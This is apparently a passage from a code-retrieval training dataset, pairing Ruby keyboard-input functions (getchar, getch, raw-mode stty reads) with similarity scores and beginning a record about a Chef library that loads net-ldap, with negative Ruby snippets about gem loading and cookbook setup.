\"getchar: window.rb 1247 Found no mapping for #{buff} #{k} \"\n $key_int = k + 128\n return $key_int\n # this contains ESc followed by a high number\n=begin\n ka = key_tos(k)\n if ka\n $key_chr = \"<M-\" + ka[1..-1]\n $key_int = k + 128\n return $key_int\n else\n $key_chr = \"UNKNOWN: Meta + #{k}\"\n return 9999\n end\n=end\n end\n\n buff += k.chr\n # this is an alt/meta code. All other complex codes seem to have a [ after the escape\n # so we will keep accumulating them.\n # NOTE this still means that user can press Alt-[ and some letter in quick succession\n # and it will accumulate rather than be interpreted as M-[.\n #\n if buff.length == 2 and k == 79\n # this is Alt-O and can be a F key in some terms like xterm-color\n elsif buff.length == 2 and k.chr != '['\n x = _evaluate_buff buff\n \n $key_chr = x\n return $key_int if x\n end\n #$log.debug \"XXX: getchar adding #{k}, #{k.chr} to buff #{buff} \"\n else\n #$log.debug \" GOT -1 in escape \"\n # it is -1 so evaluate\n x = _evaluate_buff buff\n $key_chr = x if x\n return $key_int if x\n $log.warn \"getchar: window.rb 1256 Found no mapping for #{buff} \"\n $key_chr = buff\n return $key_int\n end\n end\n end\n \n # what if keyname does not return anything\n if c > 127\n #$log.info \"xxxgetchar: window.rb sending #{c} \"\n=begin\n ch = FFI::NCurses::keyname(c) \n # remove those ugly brackets around function keys\n if ch && ch[-1]==')'\n ch = ch.gsub(/[()]/,'')\n end\n if ch && ch.index(\"KEY_\")\n ch = ch.gsub(/KEY_/,'')\n end\n ch = \"<#{ch}>\" if ch\n #return ch if ch\n $key_chr = ch if ch\n $key_chr = \"UNKNOWN:#{c}\" unless ch\n $log.warn \"getchar: window.rb 1234 Found no mapping for #{c} \" unless ch\n=end\n #$key_chr = key_tos(ch)\n return c\n end\n if c\n #$key_chr = c.chr \n return c \n end\n end",
"def any_key\n puts \"\"\n puts \"Press any key to continue..\"\n STDIN.getch\n end",
"def getch\n FFI::NCurses.wtimeout(@pointer, $ncurses_timeout || 1000)\n c = FFI::NCurses.wgetch(@pointer)\n if c == 27 ## {{{\n\n # don't wait for another key\n FFI::NCurses.nodelay(@pointer, true)\n k = FFI::NCurses.wgetch(@pointer)\n if k == -1\n # wait for key\n #FFI::NCurses.nodelay(@pointer, false)\n return 27\n else\n buf = \"\"\n loop do\n n = FFI::NCurses.wgetch(@pointer)\n break if n == -1\n buf += n.chr\n end\n # wait for next key\n #FFI::NCurses.nodelay(@pointer, false)\n\n # this works for all alt-keys but it messes with shift-function keys\n # shift-function keys start with M-[ (91) and then have more keys\n if buf == \"\"\n return k + 128\n end\n #$log.debug \" getch buf is #{k.chr}#{buf} \"\n # returning a string key here which is for Shift-Function keys or other undefined keys.\n key = 27.chr + k.chr + buf\n return key\n\n end\n end ## }}}\n #FFI::NCurses.nodelay(@pointer, false) # this works but trying out for continueous updates\n c\n rescue SystemExit, Interrupt \n 3 # is C-c\n rescue StandardError\n -1 # is C-c\n end",
"def getchar\n state = `stty -g`\n `stty raw -echo -icanon isig`\n STDIN.getc.chr\nensure\n `stty #{state}`\nend",
"def on_char(evt)\n ch = evt.get_key_code\n mflag = evt.modifiers\n\n case ch\n when Wx::K_RIGHT : move_cursor_right(evt.shift_down)\n when Wx::K_LEFT : move_cursor_left(evt.shift_down)\n when Wx::K_DOWN : move_cursor_down(evt.shift_down)\n when Wx::K_UP : move_cursor_up(evt.shift_down)\n when Wx::K_BACK : on_key_back(evt)\n when Wx::K_DELETE : on_key_delete(evt)\n when Wx::K_TAB : on_key_tab(evt)\n when (mflag == Wx::MOD_CMD and ?a) # select all\n do_select_all\n when (mflag == Wx::MOD_CMD and ?c) # copy\n do_clipboard_copy\n when (mflag == Wx::MOD_CMD and ?x) # cut\n do_clipboard_cut\n when (mflag == Wx::MOD_CMD and ?v) # paste\n do_clipboard_paste\n when ((mflag == Wx::MOD_NONE or mflag == Wx::MOD_SHIFT) and 0x20..0x7e)\n if @cursor.area\n # redirect regular typing to on_char_AREANAME\n return self.send(\"on_char_#{AREAS[@cursor.area]}\", evt)\n end\n else # everything else is for dynamically handling key combo handlers\n m = []\n m << 'alt' if (mflag & Wx::MOD_ALT) != 0\n m << 'cmd' if (mflag & Wx::MOD_CMD) != 0\n m << 'shift' if (mflag & Wx::MOD_SHIFT) != 0\n mods = (m.empty?)? \"\" : \"_\" + m.join('_')\n\n ch = evt.get_key_code\n hex = ch.to_s(16).rjust(2,'0')\n meth=nil\n\n if (n=resolve_key_code(ch)) and respond_to?(\"on_key#{mods}_#{n}\")\n meth=\"on_key#{mods}_#{n}\"\n elsif respond_to?(\"on_key#{mods}_0x#{hex}\")\n meth=\"on_key#{mods}_#{hex}\"\n end\n\n if meth and ret=self.send(meth, evt)\n return ret\n else\n evt.skip()\n end\n end\n end",
"def readchar\n end",
"def get_char\n c = Curses.getch\n c if (0..255) === c.ord\n end",
"def process_redio_keyboard_input(key)\n case key\n when :enter then @redio_loop = false\n when /\\d/ then print_redio(key.to_s)\n when :tab, :down, :left, :space then print_redio(@redio_res.succ)\n when :up, :right then print_redio(@redio_res.pred)\n end\n end",
"def getchar \n while 1 \n ch = getch\n #$log.debug \"window getchar() GOT: #{ch}\" if ch != -1\n if ch == -1\n # the returns escape 27 if no key followed it, so its SLOW if you want only esc\n if @stack.first == 27\n #$log.debug \" -1 stack sizze #{@stack.size}: #{@stack.inspect}, ch #{ch}\"\n case @stack.size\n when 1\n @stack.clear\n return 27\n when 2 # basically a ALT-O, this will be really slow since it waits for -1\n ch = 128 + @stack.last\n @stack.clear\n return ch\n when 3\n $log.debug \" SHOULD NOT COME HERE getchar()\"\n end\n end\n @stack.clear\n next\n end\n # this is the ALT combination\n if @stack.first == 27\n # experimental. 2 escapes in quick succession to make exit faster\n if ch == 27\n @stack.clear\n return ch\n end\n # possible F1..F3 on xterm-color\n if ch == 79 or ch == 91\n #$log.debug \" got 27, #{ch}, waiting for one more\"\n @stack << ch\n next\n end\n #$log.debug \"stack SIZE #{@stack.size}, #{@stack.inspect}, ch: #{ch}\"\n if @stack == [27,79]\n # xterm-color\n case ch\n when 80\n ch = KEY_F1\n when 81\n ch = KEY_F2\n when 82\n ch = KEY_F3\n when 83\n ch = KEY_F4\n end\n @stack.clear\n return ch\n elsif @stack == [27, 91]\n if ch == 90\n @stack.clear\n return KEY_BTAB # backtab\n end\n end\n # the usual Meta combos. (alt)\n ch = 128 + ch\n @stack.clear\n return ch\n end\n # append a 27 to stack, actually one can use a flag too\n if ch == 27\n @stack << 27\n next\n end\n return ch\n end\n end",
"def read characters\n forward characters\n end",
"def getchar \n while true \n ch = getch\n #$log.debug \"window getchar() GOT: #{ch}\" if ch != -1\n if ch == -1\n # the returns escape 27 if no key followed it, so its SLOW if you want only esc\n if @stack.first == 27\n #$log.debug \" -1 stack sizze #{@stack.size}: #{@stack.inspect}, ch #{ch}\"\n case @stack.size\n when 1\n @stack.clear\n return 27\n when 2 # basically a ALT-O, this will be really slow since it waits for -1\n ch = 128 + @stack.last\n @stack.clear\n return ch\n when 3\n $log.debug \" SHOULD NOT COME HERE getchar()\"\n end\n end\n @stack.clear\n next\n end\n # this is the ALT combination\n if @stack.first == 27\n # experimental. 2 escapes in quick succession to make exit faster\n if ch == 27\n @stack.clear\n return ch\n end\n # possible F1..F3 on xterm-color\n if ch == 79 or ch == 91\n #$log.debug \" got 27, #{ch}, waiting for one more\"\n @stack << ch\n next\n end\n #$log.debug \"stack SIZE #{@stack.size}, #{@stack.inspect}, ch: #{ch}\"\n if @stack == [27,79]\n # xterm-color\n case ch\n when 80\n ch = KEY_F1\n when 81\n ch = KEY_F2\n when 82\n ch = KEY_F3\n when 83\n ch = KEY_F4\n end\n @stack.clear\n return ch\n elsif @stack == [27, 91]\n if ch == 90\n @stack.clear\n return 353 # backtab\n end\n end\n # the usual Meta combos. (alt)\n ch = 128 + ch\n @stack.clear\n return ch\n end\n # append a 27 to stack, actually one can use a flag too\n if ch == 27\n @stack << 27\n next\n end\n return ch\n end\n end",
"def escape\n puts \"\"\n puts Rainbow(\"Press anything to return\").blue\n STDIN.getch\nend",
"def process_key_press( typed_line )\n # retrieve typed character\n typed_character = get_character.chr\n # process backspace\n if typed_character == \"\\177\"\n putc \"\\b \\b\"\n typed_line.chop!\n return typed_line\n # ignore return\n elsif typed_character == \"\\r\"\n return typed_line\n end\n # append typed to current line character and write it out\n typed_line = typed_line + typed_character\n putc typed_character\n typed_line\n end",
"def narrate(string)\n puts\n puts string\n puts\n STDIN.getch\n end",
"def getch\n @w.getch\n rescue Interrupt => ex\n 3 # is C-c\n end",
"def callback_read_char\n rl_callback_read_char\n end",
"def show_single_key\n system(\"clear\")\n board.render\n\n c = read_char\n\n case c\n when \"\\e[A\"\n # puts \"UP ARROW\"\n board.selected_pos[0] -= 1 unless board.selected_pos[0] < 1\n when \"\\e[B\"\n board.selected_pos[0] += 1 unless board.selected_pos[0] > 7\n # puts \"DOWN ARROW\"\n when \"\\e[C\"\n board.selected_pos[1] += 1 unless board.selected_pos[1] > 7\n # puts \"RIGHT ARROW\"\n when \"\\e[D\"\n board.selected_pos[1] -= 1 unless board.selected_pos[1] < 1\n # puts \"LEFT ARROW\"\n when \"r\"\n make_move(board.selected_pos,\"r\")\n when \"f\"\n make_move(board.selected_pos,\"f\")\n when \"s\"\n save?\n end\n end",
"def get_character( input = STDIN )\n WinAPI._getch\n end",
"def read_io(keyseq_timeout, &block)\n buffer = []\n loop do\n c = Reline::IOGate.getc\n buffer << c\n result = @@key_stroke.match_status(buffer)\n case result\n when :matched\n block.(@@key_stroke.expand(buffer).map{ |c| Reline::Key.new(c, c, false) })\n break\n when :matching\n if buffer.size == 1\n begin\n succ_c = nil\n Timeout.timeout(keyseq_timeout / 1000.0) {\n succ_c = Reline::IOGate.getc\n }\n rescue Timeout::Error # cancel matching only when first byte\n block.([Reline::Key.new(c, c, false)])\n break\n else\n if @@key_stroke.match_status(buffer.dup.push(succ_c)) == :unmatched\n if c == \"\\e\".ord\n block.([Reline::Key.new(succ_c, succ_c | 0b10000000, true)])\n else\n block.([Reline::Key.new(c, c, false), Reline::Key.new(succ_c, succ_c, false)])\n end\n break\n else\n Reline::IOGate.ungetc(succ_c)\n end\n end\n end\n when :unmatched\n if buffer.size == 1 and c == \"\\e\".ord\n read_escaped_key(keyseq_timeout, buffer, block)\n else\n block.(buffer.map{ |c| Reline::Key.new(c, c, false) })\n end\n break\n end\n end\n end",
"def get_console_char\n STDIN.getch\n end",
"def on_key(ch)\n end",
"def respond_to_input(turn_color)\n loop do\n c = read_char\n case c\n when \"\\r\"\n return end_cursor || cursor\n when \"\\e[A\"\n move_cursor(turn_color, [-1, 0])\n when \"\\e[B\"\n move_cursor(turn_color, [1, 0])\n when \"\\e[C\"\n move_cursor(turn_color, [0, 1])\n when \"\\e[D\"\n move_cursor(turn_color, [0, -1])\n when \"\\u0003\"\n raise Interrupt\n end\n end\n end",
"def getch\n map_key(key_press)\n end",
"def input\n loop do\n case STDIN.getch\n when 'a' then return :left\n when 'd' then return :right\n when 'q' then return :exit\n end\n end\n end",
"def asking_getchar\n Fiber.yield :input\n end",
"def read_hidden_input\n input = ''\n while true\n c = STDIN.getc.chr\n if c == \"\\r\" or c == \"\\n\" then puts; break; end\n input << c\n end\n input.strip\nend",
"def get_char\n c = @window.getchar\n case c\n when 13,10\n return \"ENTER\"\n when 32\n return \"SPACE\"\n when 127\n return \"BACKSPACE\"\n when 27\n return \"ESCAPE\"\n end\n keycode_tos c\n# if c > 32 && c < 127\n #return c.chr\n #end\n ## use keycode_tos from Utils.\nend",
"def press_any_key\n # TODO: Print footer.\n get_wch\n end",
"def safe_threadsafe_blocking_getch\n nonblocking_getch\n rescue Interrupt\n KEY_CANCEL\n end",
"def key_listen\n Thread.new do\n loop do \n block = @key_bindings[get_character]\n puts block.call if block\n end\n end\n end",
"def get_char(options)\n if options[:raw]\n WinAPI.getch.chr\n else\n options[:echo] ? @input.getc : WinAPI.getch.chr\n end\n end",
"def read_many(number_of_events=1)\n read_console_input({:nLength => number_of_events, :blocking => true })\n end",
"def handle_control_character(search, key)\n case key\n\n when KEY_CTRL_N then search.down\n when KEY_CTRL_P then search.up\n\n when KEY_CTRL_U then search.clear_query\n when KEY_CTRL_W then search.delete_word\n when KEY_CTRL_H, KEY_DELETE then search.backspace\n\n when ?\\r, KEY_CTRL_J, KEY_CTRL_M then search.done\n\n when KEY_CTRL_C then raise Abort\n\n else search\n end\n end",
"def get_char\n\tbegin\n\t\tsystem(\"stty raw -echo\")\n\t\tchar = STDIN.getc\n\tensure\n\t\tsystem(\"stty -raw echo\")\n\tend\n\treturn char\nend",
"def keystroke(character, *special_keys)\n special_keys = [\"command\"] if special_keys.length == 0\n special_keys_as_applescript_array = special_keys.map { |k|\n \"#{k} down\"\n }.join(\", \")\n execute_applescript(%Q'\n tell application \"System Events\"\n set frontApp to name of first item of (processes whose frontmost is true)\n tell application frontApp\n keystroke \"#{character}\" using {#{special_keys_as_applescript_array}}\n end\n end tell\n ')\n end",
"def perror text\n clear_last_line\n puts \"\\r#{RED}#{text}. Press a key.#{CLEAR}\"\n get_char\nend",
"def keypress(key)\n puts \"Got key: #{key} (#{key.class})\"\n if key.is_a?(String)\n if key.length == 1\n # Assume letter\n @vnc.keyevent(key.chr, true)\n @vnc.keyevent(key.chr, false)\n else\n # Assume keysym\n puts \"I don't know how to type '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end\n else\n # type printables, key others.\n if 32.upto(127).include?(key)\n @vnc.keyevent(key, true)\n @vnc.keyevent(key, false)\n else\n case key\n when 8 \n @vnc.keyevent(0xff08, true)\n @vnc.keyevent(0xff08, false)\n when 13\n @vnc.keyevent(0xff0D, true)\n @vnc.keyevent(0xff0D, false)\n else\n puts \"I don't know how to type web keycode '#{key}'\"\n return { :action => \"status\", :status => \"I don't know how to type '#{key}'\" }\n end # case key\n end # if 32.upto(127).include?(key)\n end # if key.is_a?String\n return nil\n end",
"def source\n puts '------------------------------------------------'.colorize(:light_blue)\n puts 'Input keys? [y/n]'.colorize(:light_blue)\n puts '------------------------------------------------'.colorize(:light_blue)\n $stdin.gets.chomp == 'y' ? source_keys : all_keys\n end",
"def get_character( input = STDIN )\n Win32API.new(\"crtdll\", \"_getch\", [ ], \"L\").Call\n end"
] | [
"0.7172551",
"0.7169227",
"0.70784056",
"0.7075981",
"0.7036095",
"0.6970929",
"0.6938356",
"0.68953437",
"0.6784526",
"0.6697007",
"0.6683167",
"0.6661258",
"0.6653919",
"0.65723825",
"0.65356755",
"0.64906526",
"0.64837956",
"0.6473542",
"0.64629143",
"0.6436959",
"0.6433147",
"0.64147687",
"0.6385567",
"0.63738394",
"0.63494396",
"0.63302684",
"0.63302684",
"0.63302684",
"0.63302684",
"0.6314861",
"0.630347",
"0.62777936",
"0.6255233",
"0.62101233",
"0.620501",
"0.6158032",
"0.61488676",
"0.61340064",
"0.61116517",
"0.61094195",
"0.61004454",
"0.6045106",
"0.60431117",
"0.60406446",
"0.60406446",
"0.60401416",
"0.6039184",
"0.6033037",
"0.60124046",
"0.6012347",
"0.6012347",
"0.6012347",
"0.59358704",
"0.5924903",
"0.5916172",
"0.5914792",
"0.59067065",
"0.5896904",
"0.5887534",
"0.58712137",
"0.5815369",
"0.5794749",
"0.5754023",
"0.57182825",
"0.57153046",
"0.5707816",
"0.5706134",
"0.5700129",
"0.56900746",
"0.56837577",
"0.5664389",
"0.56585455",
"0.5658514",
"0.56547225",
"0.56496155",
"0.56318897",
"0.5623811",
"0.55746394",
"0.5561577",
"0.55328214",
"0.5527049",
"0.550451",
"0.55019283",
"0.55011487",
"0.5498168",
"0.5489576",
"0.5454704",
"0.5426008",
"0.5417365",
"0.5417091",
"0.53777975",
"0.5376001",
"0.5367099",
"0.5363811",
"0.5344066",
"0.5342597",
"0.5312124",
"0.5304604"
] | 0.6393362 | 23 |
== Constraints Chef libraries are evaluated before the recipe that places the chef_gem that it needs is put into place. This places two constraints on this library: 1) A 'require' must be done in a method 2) This class cannot use 'Subclass < Superclass' As Net::LDAP is a class it cannot be included as a module | def initialize
require 'rubygems'
require 'net-ldap'
require 'cicphash'
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def conscientious_require; end",
"def load_cloudflare_cookbook_gems\n return if defined? @@cloudflare_cookbook_gems_loaded\n chef_gem 'cloudflare' do\n action :install\n version '2.0.1'\n end\n require 'resolv'\n require 'cloudflare'\n @@cloudflare_cookbook_gems_loaded = true\nend",
"def require_gems; end",
"def require(*args)\n super\n case args\n when [\"stripe\"]\n # so we don't have to shell out to uname\n ::Stripe.class_variable_set(:@@uname, 'Linux Codecademy codex-adapter x86_64 GNU/Linux')\n\n # gem hard-codes their own bundled ca file, which we need to override\n ::Stripe.class_variable_set(:@@ssl_bundle_path, '/etc/ssl/certs/ca-certificates.crt')\n when [\"twilio-ruby\"]\n Twilio::REST::Client::DEFAULTS[:ssl_ca_file] = '/etc/ssl/certs/ca-certificates.crt'\n end\n end",
"def install_bootloader\n raise RuntimeError, \"Not implemented in base class\"\n end",
"def hook_require!\n hook_instance_require!\n hook_singleton_require!\n end",
"def require_with_grace(r) require r; rescue LoadError; block_given? ? yield : abort(\"#{$!.message}\\n\\n try executing: gem install '#{r}'\") end",
"def pleaserun_setup\n chef_gem 'pleaserun' do\n compile_time true\n version '>= 0.0.30'\n end\n\n require 'pleaserun/namespace'\n require 'pleaserun/platform/base'\n\n target_platform = platform\n target_platform_version = platform_version || target_version\n\n if target_platform.nil? || target_platform.empty?\n require 'pleaserun/detector'\n if target_platform_version.nil?\n target_platform, target_platform_version = PleaseRun::Detector.detect\n else\n target_platform = PleaseRun::Detector.detect\n end\n Chef::Log.info \"[dropwizard_pleaserun] autodetected #{target_platform} \" \\\n \"/ #{target_platform_version}\"\n end\n\n Chef::Log.info \"[dropwizard_pleaserun] platform: #{target_platform} / \" \\\n \"version: #{target_platform_version}\"\n\n require \"pleaserun/platform/#{target_platform}\"\n platform_klass = load_platform(target_platform)\n\n pr = platform_klass.new(target_platform_version.to_s)\n pr.name = app_name\n pr.user = user unless user.nil?\n pr.group = group unless group.nil?\n pr.description = description unless description.nil?\n pr.umask = umask unless umask.nil?\n pr.runas = runas unless runas.nil?\n pr.chroot = chroot unless chroot.nil?\n pr.chdir = chdir unless chdir.nil?\n pr.nice = nice unless nice.nil?\n pr.prestart = prestart unless prestart.nil?\n pr.program = program\n pr.args = args unless args.empty?\n pr.log_directory = log_directory unless log_directory.nil?\n\n pr\nend",
"def require_chef_vault!\n @require_chef_vault ||=\n begin\n error_message = \"Knife bootstrap requires version 2.6.0 or higher of the chef-vault gem to configure vault items\"\n require \"chef-vault\"\n if Gem::Version.new(ChefVault::VERSION) < Gem::Version.new(\"2.6.0\")\n raise error_message\n end\n\n true\n rescue LoadError\n raise error_message\n end\n end",
"def required_if_used(*args)\n unless @required_gems\n [:included, :extended, :inherited].each do |method_name|\n define_method(method_name) do |klass|\n super if defined?(super)\n @required_gems.each { |gem| require gem.to_s }\n end\n end\n end\n @required_gems ||= []\n @required_gems |= args\n end",
"def initialize\n super\n require 'ipaddr'\n require 'socket'\n require 'openssl'\n require 'digest'\n require 'securerandom'\n end",
"def initialize\n super\n\t \n require 'base64'\n require 'digest'\n require 'json'\n require 'net/http'\n require 'net/https'\n require 'openssl'\n require 'rexml/document'\n require 'securerandom'\n require 'socket'\n require 'uri'\n require_relative 'omslog'\n require_relative 'oms_configuration'\n require_relative 'oms_common'\n end",
"def initialize(name, run_context = nil)\n super\n @provider = Chef::Provider::Package::Rubygems\n end",
"def add_poolparty_base_requirements\n heartbeat\n haproxy\n ruby\n poolparty_base_packages\n realize_plugins!(true) # Force realizing of the plugins\n end",
"def platform_require\n fail NotImplementedError,\n 'Abstract method must returns `Gem::Requirement`'\n end",
"def hook_require!\n @hooking_require = true\n\n # There are two independent require methods. Joy!\n ::Kernel.module_eval do\n class << self\n orig_public_require = Kernel.public_method(:require)\n define_method(:require) do |path, *args|\n ::Bumbler::Hooks.handle_require(path) do\n orig_public_require.call(path, *args)\n end\n end\n end\n\n orig_instance_require = self.instance_method(:require)\n define_method(:require) do |path, *args|\n ::Bumbler::Hooks.handle_require(path) do\n orig_instance_require.bind(self).call(path, *args)\n end\n end\n end\n\n @hooking_require = nil\n end",
"def init\n clone_appd_cookbook\n chef_gem \"install berkshelf\"\n end",
"def install_dependencies\n recipe_eval do\n run_context.include_recipe 'chef-sugar::default'\n run_context.include_recipe 'build-essential::default'\n\n case node.platform_family\n when 'debian'\n package 'curl'\n package 'git-core'\n package 'libxml2-dev'\n package 'libxslt-dev'\n package 'zlib1g-dev'\n package 'ncurses-dev'\n package 'libssl-dev'\n when 'freebsd'\n package 'textproc/libxml2'\n package 'textproc/libxslt'\n package 'devel/ncurses'\n when 'mac_os_x'\n run_context.include_recipe 'homebrew::default'\n package 'libxml2'\n package 'libxslt'\n package 'openssl'\n when 'rhel'\n package 'curl'\n package 'bzip2'\n package 'file'\n package 'git'\n package 'libxml2-devel'\n package 'libxslt-devel'\n package 'ncurses-devel'\n package 'zlib-devel'\n package 'openssl-devel'\n end\n end\n end",
"def require!\n yield if block_given?\n require @require_path\n rescue LoadError => exception\n @error = exception\n @satisfied = false\n else\n @error = nil\n @satisfied = true\n end",
"def require!\n super do\n gem @gem_name, @version if @version\n end\n end",
"def install!\n include_recipe 'zypper'\n super\n end",
"def setup_class_dsl(tool_class)\n return if tool_class.name.nil? || tool_class.is_a?(DSL::Tool)\n class << tool_class\n alias_method :super_include, :include\n end\n tool_class.extend(DSL::Tool)\n end",
"def do_requires()\n require 'rack'\n require './lib/my_thin.rb'\n require './android_translation_helper.rb'\nend",
"def bootstrap_require\n def RC.required(feature)\n config = RC.configuration[feature]\n if config\n config.each do |config|\n next unless config.apply_to_feature?\n config.call\n end\n end\n super(feature) if defined?(super)\n end\n end",
"def required_rock_packages\n raise \"#{self.class} needs to overwrite required_rock_packages\"\n end",
"def require_dependency_with_check(dependency)\n begin\n require dependency\n rescue LoadError => e\n puts \"You need to install #{dependency} before we can proceed\"\n end\nend",
"def install_chef_gem(nr)\n # let chef_gem install the gem for us\n at_compile_time do\n chef_gem nr.gem_name do\n %w(options version source).each do |attr|\n value = new_resource.send(attr.to_sym)\n send(attr.to_sym, value) unless value.nil?\n end\n end\n end\n end",
"def load_classifier()\n auth_info = {\n 'ca_certificate_path' => Puppet[:localcacert],\n 'certificate_path' => Puppet[:hostcert],\n 'private_key_path' => Puppet[:hostprivkey],\n }\n unless @classifier\n load_classifier_config\n @classifier = PuppetClassify.new(@classifier_url, auth_info)\n end\nend",
"def load_minimal_gems\r\n end",
"def install\n # Switch this to use Module#prepend at some point when I stop caring about Ruby 1.9.\n ::Berkshelf::Berksfile.class_exec do\n old_sources = instance_method(:sources)\n define_method(:sources) do\n original_sources = begin\n old_sources.bind(self).call\n rescue ::Berkshelf::NoAPISourcesDefined\n # We don't care, there will be a source\n []\n end\n # Make sure we never add two halite sources.\n original_sources.reject {|s| s.is_a?(::Halite::Berkshelf::Source) } + [::Halite::Berkshelf::Source.new(self)]\n end\n end\n\n # Inject support for the :halite location type\n ::Berkshelf::Downloader.class_exec do\n old_try_download = instance_method(:try_download)\n define_method(:try_download) do |source, name, version|\n remote_cookbook = source.cookbook(name, version)\n if remote_cookbook && remote_cookbook.location_type == :halite\n tmp_dir = Dir.mktmpdir\n Halite.convert(remote_cookbook.location_path, tmp_dir)\n tmp_dir\n else\n old_try_download.bind(self).call(source, name, version)\n end\n end\n end\n\n end",
"def monkey_patch_old_chef!\n return if @monkey_patched\n require 'chef/event_dispatch/dispatcher'\n instance = self\n orig_method = Chef::EventDispatch::Dispatcher.instance_method(:library_file_loaded)\n Chef::EventDispatch::Dispatcher.send(:define_method, :library_file_loaded) do |filename|\n instance.events = self\n instance.monkey_patched = false\n @subscribers << instance\n Chef::EventDispatch::Dispatcher.send(:define_method, :library_file_loaded, orig_method)\n orig_method.bind(self).call(filename)\n end\n @monkey_patched = true\n end",
"def conscientious_require\n require_theme_deps if site.theme\n require_plugin_files\n require_gems\n deprecation_checks\n end",
"def run!\n # When Chef Backend is configured, this is too early to verify\n # postgresql accessibility since we need to configure HAProxy\n # first\n unless PrivateChef['use_chef_backend']\n BootstrapPreflightValidator.new(node).run!\n PostgresqlPreflightValidator.new(node).run!\n end\n AuthPreflightValidator.new(node).run!\n SslPreflightValidator.new(node).run!\n BookshelfPreflightValidator.new(node).run!\n RequiredRecipePreflightValidator.new(node).run!\n if PrivateChef['opscode_erchef']['search_provider'] == 'opensearch'\n OpensearchPreflightValidator.new(node).run!\n else\n IndexingPreflightValidator.new(node).run!\n end\n rescue PreflightValidationFailed => e\n # use of exit! prevents exit handlers from running, ensuring the last thing\n # the customer sees is the descriptive error we've provided.\n Chef::Log.fatal(\"\\n\\n#{LINE_SEP}\\n#{e.message}#{LINE_SEP}\")\n exit! 128\n end",
"def check_recipes\n if new_resource.web_server == 'apache'\n web_server_recipe = \"apache2::default\"\n else\n web_server_recipe = \"#{new_resource.web_server}::default\"\n end\n\n unless run_context.loaded_recipes.include?(web_server_recipe)\n Chef::Application.fatal!(\"Did not include the #{web_server_recipe} recipe\")\n end\n end",
"def initialize chef_recipe\n super(chef_recipe.cookbook_name, chef_recipe.recipe_name, chef_recipe.run_context)\n\n # TODO: Support other distributions besides 'linux'\n node.default[\"serf\"][\"binary_url\"] = File.join node[\"serf\"][\"base_binary_url\"], \"#{node[\"serf\"][\"version\"]}\", \"serf_#{node[\"serf\"][\"version\"]}_linux_#{node[\"serf\"][\"arch\"]}.zip\"\n\n current_version = get_serf_installed_version\n if current_version\n Chef::Log.info \"Current Serf Version : [#{current_version}]\"\n end\n end",
"def create_fedora_object\n require_subclass_override!\n end",
"def check_for_requirements; end",
"def initialize(*args)\n version = Chef::Version.new(Chef::VERSION[/^(\\d+\\.\\d+\\.\\d+)/, 1])\n if version.major < 10 || ( version.major == 11 && version.minor < 6 )\n raise \"sk_s3_file requires at least Chef 11.6.0, you are using #{Chef::VERSION}\"\n end\n super\nend",
"def hook_require!\n @hooking_require = true\n\n # There are two independent require methods. Joy!\n ::Kernel.prepend RequireLogger\n (class << ::Kernel; self; end).prepend RequireLogger\n\n @hooking_require = nil\n end",
"def _monkey_patch_old_chef!\n require 'chef/event_dispatch/dispatcher'\n instance = self\n orig_method = Chef::EventDispatch::Dispatcher.instance_method(:library_file_loaded)\n Chef::EventDispatch::Dispatcher.send(:define_method, :library_file_loaded) do |filename|\n instance.events = self\n instance.monkey_patched = false\n @subscribers |= [instance]\n Chef::EventDispatch::Dispatcher.send(:define_method, :library_file_loaded, orig_method)\n orig_method.bind(self).call(filename)\n end\n end",
"def initialize\n optional_gem 'dbd-sqlite3', requires: 'dbd/SQLite3'\n optional_gem 'activerecord', '~> 4.0', requires: 'active_record'\n optional_gem 'dbi'\n optional_gem 'sqlite3'\n end",
"def local_requires\n require \"talia_cl\"\nend",
"def cookbook\n require 'halite/gem'\n @cookbook ||= Halite::Gem.new(gemspec)\n end",
"def package_setup\n raise NotImplementedError\n end",
"def dependency(lib = nil)\n lib ? require(lib) : yield\n rescue LoadError, NameError => e\n self.load_error = e\n end",
"def require(file)\n begin\n rsc_original_require file\n rescue LoadError\n rsc_require file\n end\nend",
"def chef_api_client\n @chef_api_client ||= begin\n require \"chef/api_client\"\n Chef::ApiClient\n end\n end",
"def bootstrap(raise_on_fail:false)\n ext = Dir.glob(\"./lib/*/extension.rb\").first\n if ext\n begin\n require(ext)\n rescue =>e\n stack = e.backtrace[0..4].join(\"\\n\")\n raise Thor::Error.new(\"Loading ./lib/*/extension.rb failed with: #{e}\\n#{stack}\")\n end\n Extensions.controlling\n else\n return _maybe_fail(raise_on_fail)\n end\n end",
"def required_class; end",
"def initialize(node=nil)\n @node = node \n @cookbook_loader = Chef::CookbookLoader.new\n @collection = Chef::ResourceCollection.new\n @definitions = Hash.new\n @recipes = Array.new\n @default_attributes = Array.new\n @override_attributes = Array.new\n\n load_libraries\n load_providers\n load_resources\n load_attributes\n load_definitions\n load_recipes\n end",
"def load_chef_fetcher\n Chef::Log.debug \"Load Chef Server fetcher from: #{cookbook_vendor_path}\"\n $LOAD_PATH.unshift(cookbook_vendor_path)\n require 'chef-server/fetcher'\n end",
"def before(*args)\n require_libs\n require_ing_file\n end",
"def initialize(*args, &block)\n super\n \n # include files with requirements\n inside Rails.root do\n require_all MDWA::DSL::REQUIREMENTS_PATH\n end\n # select requirements that will be generated\n if defined_requirements.count.zero?\n @requirements = MDWA::DSL.requirements.all\n else\n @requirements = defined_requirements.collect{ |requirement| MDWA::DSL.requirement(requirement.to_sym) }\n end\n\n end",
"def base_recipe()\n warn \"#{self} hasn't been overridden to return a Proc!!\"\n lambda {\n # put your capistrano config and tasks in here\n }\n end",
"def initialize_puppetclassify\n # Define the url to the classifier API\n rest_api_url = 'https://active.inf.puppetlabs.demo:4433/classifier-api'\n\n # We need to authenticate against the REST API using a certificate\n # that is whitelisted in /etc/puppetlabs/console-services/rbac-certificate-whitelist.\n # (https://docs.puppetlabs.com/pe/latest/nc_forming_requests.html#authentication)\n # \n # Since we're doing this on the master,\n # we can just use the internal dashboard certs for authentication\n cert_dir = '/opt/puppet/share/puppet-dashboard/certs'\n cert_name = 'pe-internal-dashboard' \n auth_info = {\n 'ca_certificate_path' => \"#{cert_dir}/ca_cert.pem\",\n 'certificate_path' => \"#{cert_dir}/#{cert_name}.cert.pem\",\n 'private_key_path' => \"#{cert_dir}/#{cert_name}.private_key.pem\"\n }\n\n # Initialize and return the puppetclassify object\n puppetclassify = PuppetClassify.new(rest_api_url, auth_info)\n puppetclassify\nend",
"def pre_install; end",
